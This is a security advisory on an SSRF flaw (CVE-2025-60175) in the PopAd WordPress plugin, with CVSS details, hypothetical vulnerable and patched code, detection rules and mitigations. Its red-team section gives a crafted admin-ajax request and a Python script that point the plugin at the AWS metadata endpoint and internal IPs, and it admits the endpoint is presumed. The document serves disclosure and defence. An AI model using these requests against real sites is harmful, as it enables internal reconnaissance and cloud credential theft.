CVE-2025-60175

Executive Summary

CVE-2025-60175 is a Server-Side Request Forgery (SSRF) vulnerability discovered in the PopAd WordPress plugin, affecting versions up to and including 1.0.4. This vulnerability allows an authenticated attacker with low privileges to make the vulnerable server send crafted HTTP requests to internal or external resources. The CVSS score is 4.4 (Medium), with a low confidentiality impact. No public proof-of-concept (PoC) or patch is currently available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and consider disabling the plugin if it is not critical to operations. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker must have a valid WordPress user account (e.g., subscriber).
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure is possible.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service is possible.

Threat Level: Medium. While the impact is limited to low confidentiality, the low attack complexity and low privileges required make it a viable target for internal network reconnaissance.

Deep Dive & Mechanics

The SSRF vulnerability in PopAd arises from insufficient validation of user-supplied URLs within the plugin's functionality. The plugin likely allows administrators or other users to specify a URL for fetching ad content or performing other HTTP requests. An attacker with low privileges (e.g., subscriber) can manipulate this parameter to force the server to make requests to internal IP addresses (e.g., 127.0.0.1, 10.0.0.1) or external services.

Root Cause: The plugin does not sanitize or validate the url parameter before passing it to a server-side HTTP request function (e.g., wp_remote_get() in WordPress). This allows an attacker to specify arbitrary destinations.

Attack Flow:

1. Attacker logs in with a low-privilege account.
2. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=popad_fetch&url=...).
3. Attacker crafts a request with a malicious URL pointing to an internal service (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata).
4. The server executes the request and returns the response to the attacker.

Potential Impact:

• Internal network scanning and service discovery.
• Access to cloud metadata endpoints (AWS, GCP, Azure).
• Port scanning of internal hosts.
• Potential to exploit other internal services.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.0.4. A patched version would likely include:

• Input validation: Restrict URLs to a whitelist of allowed domains or IP ranges.
• URL scheme restriction: Only allow http and https schemes, and block private IP ranges.
• Use of a URL parser: Validate the URL structure and reject malformed or suspicious inputs.

Vulnerable Code Example (Hypothetical):

$url = $_POST['url'];
$response = wp_remote_get($url);
echo wp_remote_retrieve_body($response);

Patched Code Example (Hypothetical):

$url = $_POST['url'];
$parsed_url = parse_url($url);
$host = gethostbyname($parsed_url['host']);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    $response = wp_remote_get($url);
    echo wp_remote_retrieve_body($response);
} else {
    echo 'Invalid URL';
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with PopAd plugin version 1.0.4.
2. Create a low-privilege user account (e.g., subscriber).
3. Identify the vulnerable endpoint (likely via admin-ajax.php).

Exploitation Steps:

1. Log in as the low-privilege user.
2. Send a crafted request to the vulnerable endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_...
   
   action=popad_fetch&url=http://169.254.169.254/latest/meta-data/
   

3. Observe the response containing AWS metadata (if applicable).
4. For internal network scanning, use:

   action=popad_fetch&url=http://192.168.1.1:80
   

Automation Script (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_...": "..."}
payload = {"action": "popad_fetch", "url": "http://127.0.0.1:80"}

response = requests.post(target, data=payload, cookies=cookies)
print(response.text)

Blue Team

Detection:

• Monitor for requests to admin-ajax.php with suspicious url parameters.
• Look for outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
• Alert on requests to cloud metadata endpoints (169.254.169.254).

Mitigation:

• Disable the PopAd plugin if not essential.
• Implement a Web Application Firewall (WAF) rule to block requests containing private IP addresses in the url parameter.
• Restrict outbound HTTP traffic from the WordPress server using network firewalls.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  • Requests to 169.254.169.254 (cloud metadata).
  • Unusual url parameters in admin-ajax.php requests.

• File IOCs:

  • Log entries in wp-content/debug.log showing failed or suspicious HTTP requests.

• Behavioral IOCs:

  • Low-privilege users making repeated requests to admin-ajax.php with varying url parameters.

Detection Engineering

YARA Rule

rule CVE_2025_60175_SSRF_PopAd {
    meta:
        description = "Detects SSRF exploitation attempts against PopAd WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-60175"
    strings:
        $url_param = "url=" nocase
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/ nocase
        $metadata = "169.254.169.254" nocase
    condition:
        $url_param and ($private_ip or $metadata)
}

Sigma Rule

title: CVE-2025-60175 - PopAd SSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against PopAd WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=popad_fetch'
        cs-uri-query|contains: 'url='
    filter_private:
        cs-uri-query|contains:
            - '127.0.0.1'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
            - '169.254.169.254'
    condition: selection and filter_private
falsepositives:
    - Legitimate use of internal URLs by administrators (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60175 - PopAd SSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=popad_fetch"; http_client_body; content:"url="; http_client_body; pcre:"/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.169\.254)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the PopAd plugin until a patch is available.
2. Implement WAF rules to block SSRF attempts (e.g., block URLs containing private IPs).
3. Restrict outbound traffic from the WordPress server using network firewalls.

Long-term Fix:

• Monitor the WordPress plugin repository for an official patch.
• Apply the patch as soon as it is released.
• Consider replacing the plugin with a more secure alternative.

Workaround:

• If the plugin is critical, modify the plugin code to add URL validation (as shown in the patched code example).

Valters IT
Securing Digital Frontiers